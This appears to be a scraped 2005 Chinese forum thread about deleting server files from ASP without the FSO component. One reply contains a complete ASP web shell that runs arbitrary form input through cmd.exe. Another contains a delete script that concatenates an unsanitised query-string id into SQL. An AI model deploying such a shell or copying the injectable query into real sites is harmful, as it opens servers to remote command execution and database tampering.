能否无组件删除文件

wrqi 2005-04-08 05:33:34
一般服务器上都会关闭FSO,所以我想请问一下能否通过无组件的方式来删除文件!
...全文
183 13 打赏 收藏 转发到动态 举报
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
sungcong 2005-04-18
  • 打赏
  • 举报
回复
能力有限,不用FSO暂想不到还有别的方法
hcz0663 2005-04-11
  • 打赏
  • 举报
回复
好像不行吧,要FSO支持的
underone 2005-04-11
  • 打赏
  • 举报
回复
好像adostream可以
lovebanyi 2005-04-11
  • 打赏
  • 举报
回复
有好多组件的..asp由于是用脚本写的..没有提供语言级的支持啊
  • 打赏
  • 举报
回复
用法,sorry,写错了
  • 打赏
  • 举报
回复
我只说明wscript的用发,把fso都去了吧,用dos命令就可以了,我懒得改那个程序了
look4sword 2005-04-08
  • 打赏
  • 举报
回复
还是用了FSO
  • 打赏
  • 举报
回复
<% Dim oScript %>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>
<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>
<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>
<% szCMD = Request.Form(".CMD")%>
<% If (szCMD <> "") Then%>
<% szTempFile = "C:\" & oFileSys.GetTempName()%>
<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>
<% If (IsObject(oFile)) Then%>
<% On Error Resume Next%>
<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>
<% oFile.Close%>
<% Call oFileSys.DeleteFile(szTempFile, True)%>
<% End If%>
ladyling 2005-04-08
  • 打赏
  • 举报
回复
连数据库的目录一起删除

<!--#include virtual="/include/conn.asp"-->
<%
dim id
id = request.QueryString("id")
set rs = server.CreateObject("adodb.recordset")
sql = "select * from upload where id ='"&id&"'"
rs.open sql,conn,3,1
dim filename
filename = trim(rs("filename"))
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile("E:\UpLoad\UploadFiles\"&filename)
MyFile.Delete
sql = "delete from upload where id = '"&id&"'"
conn.execute(sql)
rs.close
set rs = nothing
set conn = nothing
set MyFile = nothing
set fso = nothing
%>
<font color="#000066" size="-1">指定文件已删除,请关闭该页</font>



这样是有无组件?
  • 打赏
  • 举报
回复
当你做梦的时候会删除的*^_^*

玩笑一下,关键是你要想明白其中的道理就可以了

无组件是不可能的,wscript.shell 用cmd里的del你可以试验一下,不过一般也会被禁止的
  • 打赏
  • 举报
回复
当做梦的时候会删除的
kkkbs 2005-04-08
  • 打赏
  • 举报
回复
Shell.Application文件浏览操作
sdliubo 2005-04-08
  • 打赏
  • 举报
回复
无组件删除文件可能是不行
一般adostream组件不会关闭 那个也可以操作文件
(题外话:从本次开始 我新增了jQuery EasyUI的专题页面 大家可以关注我的专题页来及时获取最新的EasyUI资源 专题页地址如下http:http://download.csdn.net/album/detail/343 同时也希望转载的那些朋友能保留我资源的说明及出处地址 我花那么多精力制作出来的 你们鼠标点两下就给我转走了还不注明出处 实在是不厚道 本来就是本着分享精神的 为的就是聚集一点人气和提供一个优良的环境来一起学习进步的 请不要抹杀掉我的热情 谢谢 )   时隔4个月之久 EasyUI终于迎来大版本更新了 本次更新内容诸多 除了常规维护外 还新增了3个新组件 都很实用 详细的可以阅读更新说明 里面给了详细的解读 另外 从该版本开始我将会逐步的将EasyUI官方以及第三方较好的插件API整合到API文档当中 并且会对这些插件做一些简单的Demo实现 存放到配套提供的程序包demo文件夹下 以便大家学习和使用 本期文档中将官方提供的所有附加插件的API都整理并存放到Extension节点下了 这些扩展的demo在附带的程序包中已经提供 可以用于参考使用 jQuery EasyUI 1 4版本更新内容: Bug(修复) menu:修复在删除一个菜单项的时候该菜单无法正确自适应高度的问题; datagrid:修复在datagrid宽度太小的时候“fitColumns”方法无法正常工作的问题 Improvement(改进) EasyUI的所有组件已经支持非固定 百分比大小的尺寸设置; menu:添加“showItem” “hideItem”和“resize”方法; menu:基于窗体大小自动调整高度; menu:添加“duration”属性 该属性允许用户自定义隐藏菜单动画的持续时间 以毫秒为单位; validatebox:添加“onBeforeValidate”和“onValidate”事件; combo:从该版本开始combo组件扩展自textbox组件(textbox是1 4中新增的组件); combo:添加“panelMinWidth” “panelMaxWidth” “panelMinHeight”和“panelMaxHeight”属性; searchbox:从该版本开始searchbox组件扩展自textbox组件(textbox是1 4中新增的组件); tree:添加“getRoot”方法 用于返回通过“nodeEl”参数指定的节点的顶部父节点元素 注意:官网的英文API中该函数的说明有误 其说明是none 无参数 实际这里是需要参数的 ; tree:添加“queryParams”属性; datetimebox:添加“spinnerWidth”属性; panel:添加“doLayout”方法 用于控制面板内组件的大小; panel:添加“clear”方法 用于清除面板内的内容; datagrid:允许用户设置百分比宽度的列(该功能真是千呼万唤始出来啊 ); form:添加“ajax” “novalidate”和“queryParams”属性; linkbutton:添加“resize”方法 New Plugin(新组件) textbox:该组件是一个增强的输入字段 它可以让用户非常简单的构建一个表单; datetimespinner:该组件是一个日期和时间的微调组件 它允许我们选择一个特定的日期或时间; filebox:filebox 该组件表单元素中用于上传文件文件框工具组件 ">(题外话:从本次开始 我新增了jQuery EasyUI的专题页面 大家可以关注我的专题页来及时获取

28,406

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧